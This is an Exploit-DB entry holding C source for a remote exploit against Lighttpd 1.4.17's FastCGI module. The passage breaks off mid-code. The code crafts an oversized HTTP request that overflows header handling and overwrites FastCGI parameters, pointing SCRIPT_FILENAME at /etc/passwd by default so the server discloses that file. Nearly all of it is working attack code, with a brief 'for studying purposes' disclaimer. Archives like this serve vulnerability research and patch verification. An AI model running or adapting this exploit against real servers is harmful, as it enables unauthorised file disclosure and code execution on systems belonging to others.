Exploit-DB #4437
Description: Lighttpd 1.4.17 - FastCGI Header Overflow Arbitrary Code Execution
Type: remote
Platform: linux
Date: 2007-09-20
Author: Andi

Exploit:
/***********************************************************
 * hoagie_lighttpd.c
 * LIGHTTPD/FASTCGI REMOTE EXPLOIT (<= 1.4.17)
 *
 * Bug discovered by:
 * Mattias Bengtsson <mattias@secweb.se>
 * Philip Olausson <po@secweb.se>
 * http://www.secweb.se/en/advisories/lighttpd-fastcgi-remote-vulnerability/
 *
 * FastCGI:
 * http://www.fastcgi.com/devkit/doc/fcgi-spec.html
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
 * DAMAGE DONE USING THIS PROGRAM.
 *
 * VOID.AT Security
 * andi@void.at
 * http://www.void.at
 *
 ************************************************************/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

/* don't change this values except you know exactly what you are doing */
#define REQUEST_SIZE_BASE     0x1530a

char FILL_CHAR[] = "void";
char RANDOM_CHAR[] = "[PII_REDACTED]0"
                     "abcdefghijklmnopqrstuvwxyz"
                     "ABCDEFGHIJKLMNOPQRSTUVWXYZ";


/* just default values */
#define DEFAULT_SCRIPT        "/index.php"   /* can be changed via -s */
#define DEFAULT_PORT          "80"           /* can be changed via -p */
#define DEFAULT_NAME          "SCRIPT_FILENAME" /* can be changed via -n */
#define DEFAULT_VALUE         "/etc/passwd"  /* can be change via -a */

#define DEFAULT_SEPARATOR     ','

#define BUFFER_SIZE           1024

/* header data type
 * defining header name/value content and length
 * if a fixed value is set use this one instead of generating content
 */
struct header_t {
   int  name_length;
   char name_char;
   int  value_length;
   char value_char;
   char *value_value;
};

/* generate_param
 * generate character array (input: comma separated list)
 */
char *generate_param(int *param_size_out,
                     char **name,
                     char **value) {
   char *param = NULL;
   int  param_size = 0;
   int  param_offset = 0;
   int  i;
   int  name_length = 0;
   int  value_length = 0;

   for (i = 0; name[i] != NULL && value[i] != NULL; i++) {
      name_length = strlen(name[i]);
      value_length = strlen(value[i]);
      if (name_length > 127) {
         param_size += 4;
      } else {
         param_size++;
      }
      if (value_length > 127) {
         param_size += 4;
      } else {
         param_size++;
      }
      param_size += strlen(name[i]) + strlen(value[i]);
      param = realloc(param, param_size);
      if (param) {
         if (strlen(name[i]) > 127) {
            param[param_offset++] = (name_length >> 24) | 0x80;
            param[param_offset++] = (name_length >> 16) & 0xff;
            param[param_offset++] = (name_length >> 8) & 0xff;
            param[param_offset++] = name_length & 0xff;
         } else {
            param[param_offset++] = name_length;
         }
         if (strlen(value[i]) > 127) {
            param[param_offset++] = (value_length >> 24) | 0x80;
            param[param_offset++] = (value_length >> 16) & 0xff;
            param[param_offset++] = (value_length >> 8) & 0xff;
            param[param_offset++] = value_length & 0xff;
         } else {
            param[param_offset++] = value_length;
         }
         memcpy(param + param_offset, name[i], name_length);
         param_offset += name_length;
         memcpy(param + param_offset, value[i], value_length);
         param_offset += value_length;
      }
   }

   if (param) {
      *param_size_out = param_size;
   }

   return param;
}

/* generate_buffer
 * generate header name or value buffer
 */
char *generate_buffer(int length, char c, int random_mode) {
   char *buffer = (char*)malloc(length + 1);
   int i;

   if (buffer) {
      memset(buffer, 0, length + 1);
      if (random_mode) {
         for (i = 0; i < length; i++) {
            buffer[i] = RANDOM_CHAR[rand() % (strlen(RANDOM_CHAR))];
         }
      } else {
         memset(buffer, c, length);
      }
   }

   return buffer;
}

/* generate_array
 * generate character array (input: comma separated list)
 */
char **generate_array(char *list, char separator, int *length) {
   char **data = NULL;
   int i = 0;
   int start = 0;
   int j = 1;

   if (list) {
      for (i = 0; i <= strlen(list); i++) {
         if (list[i] == separator ||
             i == strlen(list)) {
            data = realloc(data, (j + 1) * (sizeof(char*)));
            if (data) {
               data[j - 1] = malloc(i - start + 1);
               if (data[j - 1]) {
                  strncpy(data[j - 1], list + start, i - start);
                  data[j - 1][i - start + 1] = 0;
               }
               data[j] = NULL;
            }
            start = i + 1;
            j++;
         }
      }
      *length = j;
   }

   return data;
}

/* generate_request
 * generate http request to trigger the overflow in fastcgi module
 * and overwrite fcgi param data with post content
 */
char *generate_request(char *server, char *port,
                       char *script, char **names,
                       char **values, int *length_out,
                       int random_mode) {
   char *param;
   int  param_size;
   char *request;
   int  offset;
   int  length;
   int  i;
   int  fillup;
   char *name;
   char *value;

   /* array of header data that is used to create header name and value lines 
    * most of this values can be changed -> only length is important and a
    * few characters */
   struct header_t header[] = {
      { 0x01, '0', 0x04, FILL_CHAR[0], NULL },
      { FILL_CHAR[0] - 0x5 - 0x2, 'B', FILL_CHAR[0] - 0x2, 'B', NULL },
      { 0x01, '1', 0x5450 - ( (FILL_CHAR[0] + 0x1) *  2) - 0x1 - 0x5 - 0x1 - 0x4, 'C', NULL },
      { 0x01, '2', '_' - 0x1 - 0